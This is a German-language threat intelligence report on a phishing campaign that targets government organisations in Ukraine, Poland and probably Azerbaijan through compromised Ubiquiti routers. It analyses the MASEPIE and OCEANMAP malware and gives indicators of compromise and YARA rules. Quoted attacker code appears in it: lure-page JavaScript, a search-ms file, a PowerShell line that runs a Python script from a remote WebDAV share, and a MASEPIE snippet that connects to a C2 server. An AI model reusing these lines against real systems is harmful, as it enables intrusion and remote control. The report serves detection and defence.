CYBER THREAT INTELLIGENCE

Kompromittierte Router werden immer noch als bösartige Infrastruktur missbraucht, um Regierungsorganisationen in Europa und im Kaukasus ins Visier zu nehmen.

21 min

Kennung: TRR240101.

Am 28.12.2023 beschrieb das ukrainische Regierungszentrum für die Reaktion auf Computervorfälle (CERT-UA) eine Kampagne von Computerangriffen zu Spionagezwecken, die sich gegen Regierungsorganisationen in der Ukraine richtete. Das CERT-UA schrieb diese Kampagne dem bösartigen Akteur APT28 (auch bekannt als Sofacy, Fancy Bear usw.) zu.

Die beschriebene Malware-Kampagne nutzt gezielte Phishing-Nachrichten aus, um Empfänger dazu zu bringen, eine Webseite zu besuchen und eine bösartige Windows-Verknüpfung zu öffnen. Diese Verknüpfung ermöglicht dann die Verbreitung von Schadprogrammen, die die Ausführung von Fernsteuerungsbefehlen (MASEPIE, OCEANMAP) und den Diebstahl von Anmeldeinformationen (STEELHOOK) ermöglichen, oder auch eines von der Stange erhältlichen Tools zur Erkennung und zum Testen von Eindringlingen (Impacket).

Wir haben weitere bösartige Infrastrukturelemente und Dateien identifiziert, von denen wir (mit hoher Zuversicht) annehmen, dass sie im Rahmen derselben Kampagne ausgenutzt werden. Diese Kampagne richtete sich an Organisationen mindestens in der Ukraine und in Polen (aber wahrscheinlich auch in Aserbaidschan), begann spätestens am 13.12.2023 und stützt sich bei ihrer Infrastruktur auf legitime Ubiquiti-Netzwerkgeräte. Die uns zur Verfügung stehenden Fakten und eigenen Erkenntnisse erlauben es uns nicht, die Zuordnung dieser Kampagne zu APT28 im Besonderen zu bestätigen oder zu dementieren.

Initialer Eindringlingspfad

Bösartige Webseiten

Laut CERT-UA versendet der bösartige Akteur, der diese Kampagne anführt, Phishing-E-Mails von legitimen, aber zuvor kompromittierten E-Mail-Konten. Wir waren nicht in der Lage, solche E-Mails zu identifizieren.

Diese Phishing-E-Mails sollen Links zu bösartigen Webseiten enthalten (z. B. e-wody.firstcloudit[.]com), die ein Bild eines verschwommenen Dokuments zeigen, das als Köder fungiert und die Nutzer dazu verleitet, auf eine Schaltfläche zu klicken, um ein vollständiges Dokument anzuzeigen (vgl. Abb. 1).

Weichgezeichnetes Dokument auf einer bösartigen Webseite
Abbildung 1 – Weichgezeichnetes Dokument auf einer bösartigen Webseite

Wir konnten mehrere dieser bösartigen Webseiten identifizieren und stellen fest, dass sie alle auf den Online-Dienst zur Veröffentlichung von Dateien verweisen DriveHQ (die Root-Domain .firstcloudit[.]com ist legitim und dient als Abkürzung für den Zugriff auf DriveHQ-Speicher). Außerdem enthalten sie alle dasselbe HTML-Stylesheet (CSS) mit dem Namen a.css (SHA-256 2328921cd1ec88aa3dec45c3367782b7760f6a7aa615b15feaad2e34e206e2f0). Die Kopien der Köderdokumente, die wir gefunden haben, hatten die folgenden Titel:

  • Official Information of Azerbaijan Defense Ministry (Offizielle Information des aserbaidschanischen Verteidigungsministeriums);
  • Holidays and Observances in Ukraine 2024 (Ferien und Beobachtungen in der Ukraine 2024);
  • KFP.311.152.2023 (von der „Pañstwowe Gospodarstwo Wodne Wody Polskie“, der nationalen polnischen Wasserbehörde);
  • „Рекомендації робочих груп експертів до Стратегії освіти і науки України“ (Ukrainisch, ungefähre Übersetzung: „Empfehlungen der Expertenarbeitsgruppe zur Strategie im Bereich Bildung und Wissenschaft für die Ukraine“).

Ein Klick auf die dargestellte Schaltfläche (über dem verwischten Köderdokument) auf bösartigen Webseiten bewirkt, dass ein in der Seite enthaltenes JS-Skript ausgeführt wird:

function getVideo() {
    window.location.href = 'search:displayname=Downloads&subquery=%5C%5C124.168.91[.]178%4080%5Cwebdav%5Cpol.search-ms';
    const newElement = document.createElement('img');
    newElement.src = "https://czyrqdnvpujmmjkfhhvs9647ioh30wxvd.oast[.]fun";
    newElement.hidden = true;
    document.body.appendChild(newElement);
}

Die Ausführung dieses Skripts bewirkt eine Verbindung zu einem Namen in der Domäne oast[.]fun (eine Verbindung zu demselben Namen wird auch durch einen unsichtbaren HTML-Bild-Tag auf derselben Seite verursacht), sowie eine Weiterleitung zu einer URI (uniform resource identifier, Kennung für Inhalte, die über das Internet oder ein Dateisystem ausgestellt werden) vom Typ search:.

Interactsh-Signalisierung

Bösartige Webseiten verursachen Verbindungen zu einem Hostnamen in der Domäne oast[.]fun, so dass czyrqdnvpujmmjkfhhvsqslblw0mawilr.oast[.]fun. Die Domäne oast[.]fun ist legitim und nicht kampagnenspezifisch: Er wird vom Projekt gehalten. Interactsh. Dieses Projekt stellt ein freies Werkzeug zur Verfügung, mit dem bei einem Penetrationstest überprüft werden kann, ob ein technischer Exploit funktioniert, indem eine Signalisierungsverbindung zu einem Domainnamen provoziert wird. Die Verbindungsversuche zu diesem werden protokolliert. Dieses Tool ist auch für bösartige Zwecke ausgenutzt seit mehreren Jahren.

Im Fall dieser Kampagne gehen wir davon aus, dass diese Verbindungen vom bösartigen Akteur als Signalisierungsmechanismus genutzt werden, mit dem er überprüfen kann, ob das ursprüngliche Eindringen bei seinen Zielen funktioniert hat. Die Untersuchung der Signalisierungsverbindungen könnte es den Angreifern auch ermöglichen, IP-Adressfilter zu implementieren (so dass sich anschließend nur die Ziele mit der bösartigen Infrastruktur verbinden können oder Cybersicherheitsforscher dies nicht tun können).

Öffentliche Webanwendung Interactsh
Abbildung 2 – Öffentliche Web-Anwendung Interactsh

Die Namen der Interactsh-Domänen, die für die Kampagne spezifisch waren und die wir ausfindig machen konnten, sind im Anhang aufgeführt. Die Protokolle der Verbindungsversuche zu diesen Domänen sollten grundsätzlich und insbesondere auf der öffentlichen Webschnittstelle von Interactsh verfügbar gemacht werden (app.interactsh[.]comDer böswillige Akteur nutzte die folgenden Interactsh-IDs für diese Kampagne aus:

  • czyrqdnvpujmmjkfhhvs;
  • cn5n8a92vtc00004a0t0.

Bösartiger Payload vom Typ search:

Schädliche Webseiten veranlassen beim Öffnen mit einem Internetbrowser von Microsoft (wie Edge) die Interpretation eines URI vom Typ search:. Dieser für Microsoft-Systeme typische Ressourcen-Deskriptor soll eine reproduzierbare Dateisuche beschreiben, deren Ergebnisse in einem Fenster des Windows Explorers angezeigt werden (vgl. Abb. 3).

Beispiel für die Ausführung eines URI vom Typ search
Abbildung 3 – Beispiel für die Ausführung eines URI vom Typ search

Die Ausnutzung solcher Suchdeskriptoren für bösartige Zwecke wurde bereits in der Vergangenheit beobachtet und kann unter anderem dazu führen, dass Dateien angezeigt werden, die auf einem entfernten WebDAV-Server gehostet werden.

Im Fall dieser Kampagne nutzt der bösartige Akteur zwei verschachtelte Suchdeskriptoren von den bösartigen Webseiten aus: search:displayname=Downloads&subquery=%5C%5C124.168.91[.]178%4080%5Cwebdav%5Cpol.search-ms. Ein solcher Suchdeskriptor bewirkt zunächst das Herunterladen eines weiteren Suchdeskriptors, der als Datei gespeichert ist (\124.168.91[.]178@80webdavpol.search-ms) und dann in einem zweiten Schritt die Durchführung der darin beschriebenen Suche.

Wir konnten die Suchdeskriptordatei nicht finden pol.search-ms insbesondere, aber alle anderen im Rahmen der Kampagne identifizierten Dateien dieses Typs wiesen einen ähnlichen Inhalt auf (hier zur besseren Lesbarkeit eingerückt):

<?xml version="1.0"?>
<persistedQuery version="1.0">
    <viewInfo viewMode="icons" iconSize="256" stackIconSize="0" displayName="Downloads" autoListFlags="0">
        <visibleColumns>
            <column viewField="System.ItemNameDisplay"/>
        </visibleColumns>
        <sortList>
            <sort viewField="System.ItemNameDisplay" direction="ascending"/>
        </sortList>
    </viewInfo>
    <query>
        <kindList>
            <kind name="item"/>
        </kindList>
        <scope>
            <include path="::{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\194.126.178[.]8@80webdavCalendar" attributes="1887437183"/>
            <include path="::{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\194.126.178[.]8c$"/>
        </scope>
    </query>
    <properties>
        <author Type="string">user</author>
    </properties>
</persistedQuery>

Eine solche Suchdeskriptordatei bewirkt, dass ein Fenster des Windows Explorers angezeigt wird, das die auf einem WebDAV-Server gespeicherten Dateien unter der Adresse \194.126.178[.]8@80webdavCalendar. Die Anwendungsfälle, die wir identifizieren konnten, verursachten in fine die Anzeige einer Windows-Verkürzungsdatei (LNK) oder eines ZIP-Archivs.

Bösartige LNK-Dateien

Bisherige Zusammenfassung: Nach einem Klick auf einen Phishing-Link in einer bösartigen E-Mail und einem anschließenden Klick auf eine Schaltfläche in einer Webseite wird den Zielen ein Fenster des Windows Explorers präsentiert, das meist eine verkürzte LNK-Datei enthält. Die LNK-Datei ist in der Regel als Dokument getarnt (durch ein vom Angreifer speziell ausgewähltes Symbol und eine doppelte Erweiterung des Dateinamens, wie z. B. .pdf<plusieurs espaces>.lnk).

Wenn das Ziel die vorgelegte LNK-Datei öffnet, dann werden ein Python-Interpreter und ein in Python entwickeltes bösartiges Skript (MASEPIE) heruntergeladen und ausgeführt, während dem Ziel ein Köderdokument (ohne Weichzeichner!) vorgelegt wird.

Zum Beispiel die Datei LNK KFP.311.152.2023.pdf<plusieurs espaces>.lnk (SHA-256 19d0c55ac466e4188c4370e204808ca0bc02bba480ec641da8190cb8aee92bdc) bewirkt, dass das folgende Powershell-Skript ausgeführt wird, das unter anderem die Köderdatei anzeigt wody.pdf (siehe Abb. 4):

[system.Diagnostics.Process]::Start('msedge','http://194.126.178[.]8/webdav/wody.pdf'); \194.126.178[.]8@80webdavPython39python.exe \194.126.178[.]8@80webdavPython39Client.py

In dem obigen Ausschnitt Client.py ist die Datei, die das bösartige Skript MASEPIE enthält (in der nächsten Überschrift beschrieben).

Beispiel für ein Köderdokument, das beim Öffnen einer LNK-Datei präsentiert wird
Abbildung 4 – Beispiel für ein Köderdokument, das beim Öffnen einer LNK-Datei präsentiert wird

MASEPIE

MASEPIE ist ein bösartiges Python-Skript, das dem Angreifer grundlegende Funktionen zur Remotecodeausführung auf kompromittierten Rechnern bietet. Seine Ausführung erfolgt in der Regel nach dem Öffnen einer LNK-Datei im ursprünglichen Eindringungspfad.

Die ursprünglich von der CERT-UA referenzierte Probe heißt Client.py (SHA-256 18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6), aber wir haben weitere Vorkommen identifiziert, die im Anhang angegeben sind.

MASEPIE betreibt 2 TCP-Verbindungen zu hohen und nicht standardmäßigen Ports (z. B. 54763 und 55555) eines Befehls- und Kontrollservers (C2):

  • Eine Verbindung fungiert als allgemeiner Kanal für den Austausch von Befehlen und Daten;
  • Der andere dient als dedizierter Kanal für den Empfang von Dateien, die dann auf der Festplatte des kompromittierten Rechners abgelegt werden.

Die über die TCP-Verbindung ausgetauschten Daten werden verschlüsselt (AES-128 CBC-Modus), und eine Kennung wird als Verschlüsselungsschlüssel verwendet. Die Kennung wird aus einer zufälligen Kombination von 16 ASCII-Zeichen (Zahlen und Buchstaben) generiert und beim Start von MASEPIE (unverschlüsselt) über den allgemeinen Kanal gesendet:

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('159.196.128[.]120', 55555))
k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))
client.send(f"{user}{SEPARATOR}{k}".encode())
client.settimeout(600)

Wenn die Kennung ausgetauscht wurde und die Verbindung hergestellt ist, überwacht MASEPIE auf unbestimmte Zeit den Empfang von Daten auf dem allgemeinen Kanal und wartet auf Befehle, die ausgeführt werden sollen. MASEPIE unterstützt die folgenden Befehle:

  • check: eine Signalisierungsanfrage ähnlich dem Tool pingMASEPIE antwortet darauf mit der Nachricht check-ok;
  • send_file: bewirkt, dass eine beliebige Datei über den dedizierten Kanal empfangen und auf das System des kompromittierten Rechners geschrieben wird;
  • get_file: bewirkt, dass eine beliebige Datei auf dem kompromittierten Rechner (mit angegebenem Pfad) gelesen und über den allgemeinen Kanal an den Server C2 gesendet wird;
  • jede andere (nicht leere) Nachricht wird als Shell-Befehl interpretiert, und zwar über die Standardfunktion os.popen von Python, und die Ergebnisse werden an den Server C2 zurückgeschickt.

Einige Varianten von MASEPIE (z. B. SHA-256 18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6) verursachen ebenfalls eine HTTP-Signalisierungsverbindung zur Domäne oast[.]fun (siehe Interactsh-Signalisierung), während eine andere (SHA-256 a333243927bb6956dc051ecea5f91b26a6c233b8164fafb9202e1f1e70ce045f) bewirkt, dass im Edge-Browser von Microsoft ein Köderdokument angezeigt wird.

OCEANMAP

ONCEANMAP ist eine in C# entwickelte .NET-Executable, die E-Mails als C2-Kanal verwendet.

Das ursprünglich von der CERT-UA referenzierte Vorkommen kann wie folgt identifiziert werden:

Dateiname VMSearch.exe
Datum der Zusammenstellung 2068-05-18 08:52:37
Hash (SHA-256) 24fd571600dcc00bf2bb8577c7e4fd67275f7d19d852b909395bebcbb1274e04
PDB-Dateipfad C:\WORK\Source\tgnews\tgnews\obj\x64\Release\VMSearch.pdb

Wir konnten mehrere ältere Vorkommen von OCEANMAP finden, die ursprünglich referenziert (aber nicht dokumentiert) wurden von Trend Micro im Jahr 2021 (z. B. SHA256 770206424b8def9f6817991e9a5e88dc5bee0adb54fc7ec470b53c847154c22b).

Wir haben keine eigenen Informationen über den detaillierten Kontext der Ausführung von OCEANMAP. Daher können wir eine technische Verbindung zwischen OCEANMAP und der beschriebenen Kampagne nicht bestätigen. Wir halten es jedoch für glaubwürdig, dass eine solche ausführbare Datei nach der Infektionsphase von MASEPIE hinterlegt worden sein könnte.

OCEANMAP sorgt für die Persistenz seiner Ausführung, indem er eine Datei Internetkürzel (EdgeContext.url) im Startverzeichnis (Startup) des Zielbenutzers – die erstellte Verknüpfung zeigt auf eine Ressource vom Typ file:Dies bewirkt, dass eine lokale Datei geöffnet wird (und nicht eine im Internet offen gelegte Ressource).

OCEANMAP ermöglicht es Angreifern, Befehle aus der Ferne auf kompromittierten Rechnern auszuführen. Dazu wird eine IMAP/S-Verbindung zu wahrscheinlich legitimen Mailservern aufgebaut (zunächst 74.124.219[.]71und dann webmail.facadesolutionsuae[.]com im Falle einer fehlgeschlagenen Verbindung mit dem ersten), dank der Kennungen von sicherlich kompromittierten E-Mail-Konten ( jrb[@]bahouholdings[.]com auf dem ersten Mailserver und dann qasim.m[@]facadesolutionsuae[.]com auf der zweiten): E-Mails aus Mailboxen werden dann als C2-Kanal genutzt.

Die von OCEANMAP ausgeführten Befehle werden ermittelt, indem nach E-Mail-Entwürfen gesucht wird, die eine bestimmte Kennung enthalten (die für jeden Zielrechner einzigartig ist, siehe unten). Die Ergebnisse der Befehlsausführung werden dann in speziellen Dateien protokolliert, deren Format dem der E-Mails ähnelt. Der Inhalt der Befehls-E-Mails ist in base64 kodiert (eine spezielle Variante, bei der das Zeichen + durch ein Leerzeichen ersetzt und die binäre Ausrichtung verändert wird), und diese E-Mails werden von OCEANMAP gelöscht, sobald der Befehl entschlüsselt ist.

OCEANMAP führt die empfangenen Befehle über den Windows-Shell-Interpreter (cmd.exe), sondern kann auch direkt 2 bestimmte Befehle verarbeiten, um seine Konfiguration zu aktualisieren:

  • changesecond: Aktualisiert die IMAP/S-Server und E-Mail-Konten, mit denen OCEANMAP eine Verbindung herstellt;
  • newtime: Aktualisiert die von OCEANMAP erwartete Zeit zwischen seinen Versuchen, eine Verbindung zu C2 herzustellen.

Diese beiden Befehle werden auf einzigartige Weise implementiert: Um seine Konfiguration zu aktualisieren, kopiert OCEANMAP sich selbst. Es liest zunächst seinen eigenen Binärinhalt, ersetzt darin die aktualisierten Konfigurationswerte und schreibt das Ergebnis dann in eine neue ausführbare Datei (mit der Erweiterung .exe des ursprünglichen Namens wird ersetzt durch _tmp.exe). OCEANMAP führt dann seine so erstellte modifizierte Kopie aus. Bei dieser Ausführung beendet die neue Instanz von OCEANMAP die vorherige (mit dem Befehl taskkill /F /PID), kopiert sich noch einmal in eine neue Datei (um den tmp_ im vorherigen Schritt in ihren Namen eingeführt), und führt die zuletzt erstellte Datei aus. Dies führt in der Praxis dazu, dass die ursprüngliche ausführbare Datei vollständig ersetzt wird … erfordert jedoch 2 Ausführungen und 2 Unterbrechungen der Ausführungsinstanzen.

Infrastruktur

Wir stellten fest, dass alle identifizierten WebDAV-Server (die die Dateien des ursprünglichen Infektionspfades verteilten) sowie die C2-Server von MASEPIE einen SSH-Dienst exponierten und Zertifikate und Web-Administrationsschnittstellen zeigten oder gezeigt hatten, die typisch für Ubiquiti-Netzwerkgeräte waren.

IP-Adresse Eigenschaften Ubiquiti SSH-Banner
194.126.178[.]8 (AS35625, Frankreich) Common Name TLS-Zertifikat UBNT Router UIvon 04/2022 bis mindestens 10/2023. Webbasierte Verwaltungsschnittstelle EdgeOS von 08/2023 bis mindestens 10/2023. SSH-2.0-OpenSSH_6.7p2 (seit mindestens 04/2022, Port 2222)
124.168.91[.]178 (AS7545, Australien) Common Name TLS-Zertifikat UBNT Router UIvon 08/2023 bis mindestens 12/2023. Webbasierte Verwaltungsschnittstelle EdgeOS in der gleichen Zeit. SSH-2.0-OpenSSH_6.7p2 (von 08/2023 bis mindestens 12/2023, unbekannter Hafen)
159.196.128[.]120 (AS4764, Australien) TLS-Zertifikate mit gemeinsamen Namen UbiquitiRouterUI oder UBNT Router UIvon 07/2023 bis mindestens 09/2023. Webbasierte Verwaltungsschnittstelle EdgeOS von 08/2023 bis mindestens 09/2023. SSH-2.0-OpenSSH_6.7p2 (seit mindestens 07/2023, Hafen 22)
172.114.170[.]18 (AS20001, USA) Common Name TLS-Zertifikat UbiquitiRouterUIseit mindestens 11/2023. Webbasierte Verwaltungsschnittstelle EdgeOS in der gleichen Dauer. SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7 (seit mindestens 11/2023, Häfen 22, 2222 und 58749)

Wir stellten außerdem fest, dass die meisten der betriebenen Server ein ungewöhnliches SSH-Dienstbanner zeigten (SSH-2.0-OpenSSH_6.7p21). Wir haben festgestellt (mit mittlerem bis hohem Vertrauensgrad), dass dieses Banner entspricht ausschließlich auf bösartige modifizierte Versionen des üblichen OpenSSH-Dienstes, wie ab 2016 beschrieben. Solche bösartigen Versionen sind im Internet für verschiedene Systeme und Architekturen erhältlich, unter anderem für EdgeOS von Ubiquiti.

Daher gehen wir (mit einem hohen Maß an Vertrauen) davon aus, dass die für diese Kampagne ausgenutzte bösartige Infrastruktur unter anderem (und vielleicht hauptsächlich) aus legitimen, aber kompromittierten Ubiquiti-Netzwerkgeräten besteht. Auf diesen Geräten wurde zuvor eine bösartige modifizierte OpenSSH-Ausführungsdatei installiert, die möglicherweise die unveränderten Standard-Authentifizierungsdaten ausnutzte. Auf der Grundlage dieses Befundes konnten wir weitere IP-Adressen identifizieren, die unserer Einschätzung nach (mit mittlerem Vertrauensgrad) ebenfalls in einem ähnlichen Rahmen für bösartige Zwecke missbraucht wurden (siehe Anhang).

Wir stellen im Anhang auch eine Liste von IP-Adressen zur Verfügung, die auf modifizierte und bösartige OpenSSH-Dienste verweisen (nicht notwendigerweise auf Ubiquiti-Netzwerkgeräten eingesetzt). Obwohl die meisten von ihnen nicht im Rahmen dieser Kampagne ausgenutzt werden, glauben wir, dass ein böswilliger Akteur sie ebenfalls jederzeit ausnutzen könnte. Daher sollten Verbindungen zu diesen kompromittierten und weithin exponierten Servern von den Cybersicherheitsteams verhindert oder zumindest überwacht werden.

Schlussfolgerung

Frühere Analysen von Cyberangriffen, die von Sekoia Mitte 2023, CERT-FR Ende 2023 und neueren Warnungen veröffentlicht wurden, deuten darauf hin, dass APT28 Ubiquiti-Router als bösartige Infrastruktur für Phishing-Kampagnen ausgenutzt hat, die auf die Ukraine abzielten.

Bei der Untersuchung der vom AU-CERT APT28 zugeschriebenen Elemente haben wir auch festgestellt, dass Ubiquiti-Netzwerkgeräte als bösartige Infrastruktur zur Verbreitung von Infektionsdateien oder als Command-and-Control-Server erster Ordnung Level missbraucht werden.

Die allgemeine Level Raffinesse und Heimlichkeit der beschriebenen bösartigen Werkzeuge und Aktivitäten ist gering. Sie sind jedoch perfekt geeignet, um die Cybersicherheitskapazitäten der Ukraine (und ihrer Unterstützer) mit minimalen Investitionen Level unter Druck zu halten; gleichzeitig ermöglichen sie tatsächlich die Sammlung elementarer technischer Informationen (technische Aufklärung, Identifikatoren). Die Angreifer haben zudem darauf geachtet, bereits kompromittierte Geräte für den Aufbau ihrer Infrastruktur zu nutzen, sodass sie leicht abstreiten können, dass sie die damit verbundenen Aktivitäten initiiert haben. Diese Merkmale entsprechen dem Willen und den Fähigkeiten eines böswilligen Akteurs, der von einem Staat unterstützt wird und eine allgemeine Druckausübung im Rahmen eines politischen oder militärischen Konflikts begleiten möchte.

Die Ziele, die wir für diese Kampagne identifizieren konnten, scheinen zudem mit den militärischen und strategischen Interessen der Russischen Föderation übereinzustimmen. Sie würden jedoch auch mit den Interessen der Verbündeten Russlands … und vieler Kaukasusländer in einem regionalen Konflikt übereinstimmen. Wir sind vernünftigerweise nicht in der Lage, die beschriebene Kampagne APT28 zuzuschreiben, und stellen außerdem fest, dass die Referenzpublikation des AU-CERT die Gründe für ihre Zuschreibung nicht untermauert. Wenn wir einen repräsentativen Überblick über alle Ziele dieser Kampagne hätten (was unwahrscheinlich ist), könnten wir (mit mittlerem bis hohem Vertrauen) davon ausgehen, dass diese Angriffskampagne durchgeführt wird, um russischen Interessen zu dienen – der Ausführende könnte jedoch eine private Organisation sein und/oder nicht mit der Russischen Föderation verbunden sein.

Anhang

Kompromittierungsindikatoren (IOCs)

Die zugehörigen Kompromittierungsindikatoren werden auch in unserem GitHub-Verzeichnis zur Verfügung gestellt.

Kondensate (SHA-256)

4b71f745707832671067c4d534b486840565ba2cda04e7daf2e2ac1324ff3db8|Malicious Web page HTML file
12a6ed6b24b77eaad892d7484ba3f150e0d3b3007d78d142dc407158ef77c107|Malicious Web page HTML file
628bc9f4aa71a015ec415d5d7d8cb168359886a231e17ecac2e5664760ee8eba|Malicious Web page HTML file
9959c04723b51190536d1cd149083d3719488baa8f5dfcfa00fad8def003c8ef|Malicious Web page HTML file
516591eda6636ac1852ebac4b9b68e2a14d37e419d71f1697c34b55ee4d18bb4|Malicious Web page HTML file
516970af209f517b312317b69f2091583fb631422fa0efc2f7cc3b1bfaf4bbf0|Malicious Web page HTML file
2328921cd1ec88aa3dec45c3367782b7760f6a7aa615b15feaad2e34e206e2f0|Malicious Web page HTML file
19d0c55ac466e4188c4370e204808ca0bc02bba480ec641da8190cb8aee92bdc|Malicious LNK
593583b312bf48b7748f4372e6f4a560fd38e969399cf2a96798e2594a517bf4|Malicious LNK
1b598c7c35f00d2c940dfd3745bd9e5d036df781d391b8f3603a2969c666761b|Malicious LNK
d84c39579e61c406380f37da7c2a6758ed9a4c9a0e7697c073e2ddbb563360cd|Malicious LNK
2d844afe1a9f5c59ca96d2ab738ef43aec2391c8a37107d496d1d6cf260cede8|Malicious LNK
c22868930c02f2d6962167198fde0d3cda78ac18af506b57f1ca25ca5c39c50d|Malicious LNK
18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6|MASEPIE
0429bdc6a302b4288aea1b1e2f2a7545731c50d647672fa65b012b2a2caa386e|MASEPIE
a333243927bb6956dc051ecea5f91b26a6c233b8164fafb9202e1f1e70ce045f|MASEPIE
24fd571600dcc00bf2bb8577c7e4fd67275f7d19d852b909395bebcbb1274e04|OCEANMAP
fe00bd6fba209a347acf296887b10d2574c426fa962b6d4d94c34b384d15f0f1|OCEANMAP
b61e0f68772f3557024325f3a05e4edb940dbbe380af00f3bdaaaeabda308e72|OCEANMAP
c8b6291fc7b6339d545cbfa99256e26de26fff5f928fef5157999d121fe46135|OCEANMAP
50b000a7d61885591ba4ec9df1a0a223dbceb1ac2facafcef3d65c8cbbd64d46|OCEANMAP
3384a9ef3438bf5ec89f268000cc7c83f15e3cdf746d6a93945add300423f756|OCEANMAP
abf0c2538b2f9d38c98b422ea149983ca95819aa6ebdac97eae777ea8ba4ca8c|OCEANMAP
faf8db358e5d3dbe2eb9968d8b19f595f45991d938427124161f5ed45ac958d5|OCEANMAP
4c1b8d070885e92d61b72dc9424d9b260046f83daf00d93d3121df9ed669a5f9|OCEANMAP
770206424b8def9f6817991e9a5e88dc5bee0adb54fc7ec470b53c847154c22b|OCEANMAP
6fb2facdb906fc647ab96135ce2ca7434476fb4f87c097b83fd1dd4e045d4e47|OCEANMAP

Dateinamen

mod.search-ms|WebDAV-hosted search-ms filename
info-mod.search-ms|WebDAV-hosted search-ms filename
vinnic.search-ms|WebDAV-hosted search-ms filename
calendar.search-ms|WebDAV-hosted search-ms filename
wody.search-ms|WebDAV-hosted search-ms filename
pol.search-ms|WebDAV-hosted search-ms filename

Namen von Gastgebern

e-nas.firstcloudit[.]com|Malicious Web page hostname
nas-files.firstcloudit[.]com|Malicious Web page hostname
ua-calendar.firstcloudit[.]com|Malicious Web page hostname
e-mod.firstcloudit[.]com|Malicious Web page hostname
wody-info-files.firstcloudit[.]com|Malicious Web page hostname
info-mod.firstcloudit[.]com|Malicious Web page hostname
e-wody.firstcloudit[.]com|Malicious Web page hostname
czyrqdnvpujmmjkfhhvs4knf1av02demj.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvsvlaax17vd5r6v.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvsclx05sfi23bfr.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvsqslblw0mawilr.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvseabz1q5olrum5.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvs9647ioh30wxvd.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvs2x9oyfsn6gd7t.oast[.]fun|Interactsh hostname
czyrqdnvpujmmjkfhhvsqfxkqz68qzjcd.oast[.]fun|Interactsh hostname
cn5n8a92vtc00004a0t0gks3tbcyyyyyd.oast[.]fun|Interactsh hostname

IP-Adressen

194.126.178[.]8|WebDAV stager + MASEPIE C2 server (legitimate compromised)
124.168.91[.]178|WebDAV stager (legitimate compromised)
159.196.128[.]120|MASEPIE C2 server (legitimate compromised)
172.114.170[.]18|MASEPIE C2 server (legitimate compromised)

Verdächtige IP-Adressen, die möglicherweise in Verbindung gebracht werden (von Mai 2023 bis Januar 2024)

61.68.76[.]111
203.221.195[.]80
12.171.204[.]129
12.94.8[.]230
23.24.68[.]109

IP-Adressen, die kompromittierte OpenSSH-Dienste offenlegen (Januar 2024)

Nur auf GitHub (über 2000 Einträge).

Yara-Regeln

Die zugehörigen Yara-Regeln werden auch in unserem GitHub-Verzeichnis zur Verfügung gestellt.

Die bereitgestellten Yara-Regeln erfordern Yara Version 3.2.0 (10. Nov. 2014) oder höher.

rule masepie_campaign_htmlstarter
{
    meta:
        description = "Detect Malicious Web page HTML file from CERT-UA#8399"
        references = "TRR240101;https://cert.gov.ua/article/6276894"
        hash = "628bc9f4aa71a015ec415d5d7d8cb168359886a231e17ecac2e5664760ee8eba"
        date = "2024-01-24"
        author = "HarfangLab"
        context = "file"
    strings:
        $s1 = "<link rel="stylesheet" href="a.css">" ascii wide fullword
        $s2 = "src=".\Capture" ascii wide
    condition:
        filesize > 600 and filesize < 5KB
        and (all of them)
}

rule masepie_campaign_webdavlnk
{
    meta:
        description = "Detect Malicious LNK from CERT-UA#8399"
        references = "TRR240101;https://cert.gov.ua/article/6276894"
        hash = "19d0c55ac466e4188c4370e204808ca0bc02bba480ec641da8190cb8aee92bdc"
        date = "2024-01-24"
        author = "HarfangLab"
        context = "file"
    strings:
        $a1 = "[system.Diagnostics.Process]::Start('msedge','http" wide nocase fullword
        $a2 = "\Microsoft\Edge\Application\msedge.exe" wide nocase fullword
        $a3 = "powershell.exe" ascii wide fullword
        $s1 = "win-j5ggokh35ap" ascii fullword
        $s2 = "desktop-q0f4sik" ascii fullword
    condition:
        filesize > 1200 and filesize < 5KB
        and (uint16be(0) == 0x4c00)
        and (
            (all of ($a*))
            or (any of ($s*))
        )
}

rule masepie_campaign_masepie
{
    meta:
        description = "Detect MASEPIE from CERT-UA#8399"
        references = "TRR240101;https://cert.gov.ua/article/6276894"
        hash = "18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6"
        date = "2024-01-24"
        author = "HarfangLab"
        context = "file"
    strings:
        $t1 = "Try it againg" ascii wide fullword
        $t2 = "{user}{SEPARATOR}{k}" ascii wide fullword
        $t3 = "Error transporting file" ascii wide fullword
        $t4 = "check-ok" ascii wide fullword
        $a1 = ".join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))" ascii wide fullword
        $a2 = "dec_file_mes(mes, key)" ascii wide fullword
        $a3 = "os.popen('whoami').read()" ascii wide fullword
    condition:
        filesize > 2KB and filesize < 15MB
        and (4 of them)
}

rule masepie_campaign_oceanmap
{
    meta:
        description = "Detect OCEANMAP from CERT-UA#8399"
        references = "TRR240101;https://cert.gov.ua/article/6276894"
        hash = "24fd571600dcc00bf2bb8577c7e4fd67275f7d19d852b909395bebcbb1274e04"
        date = "2024-01-24"
        modified = "2024-01-31"
        author = "HarfangLab"
        context = "file"
    strings:
        $dotNet = ".NETFramework,Version" ascii fullword
        $a1 = "$ SELECT INBOX.Drafts" wide fullword
        $a2 = "$ SELECT Drafts" wide fullword
        $a3 = "$ UID SEARCH subject "" wide fullword
        $a4 = "$ APPEND INBOX {" wide fullword
        $a5 = "+FLAGS (\Deleted)" wide fullword
        $a6 = "$ EXPUNGE" wide fullword
        $a7 = "BODY.PEEK[text]" wide fullword
        $t1 = "change_time" ascii fullword
        $t2 = "ReplaceBytes" ascii fullword
        $t3 = "fcreds" ascii fullword
        $t4 = "screds" ascii fullword
        $t5 = "r_creds" ascii fullword
        $t6 = "comp_id" ascii fullword
        $t7 = "changesecond" wide fullword
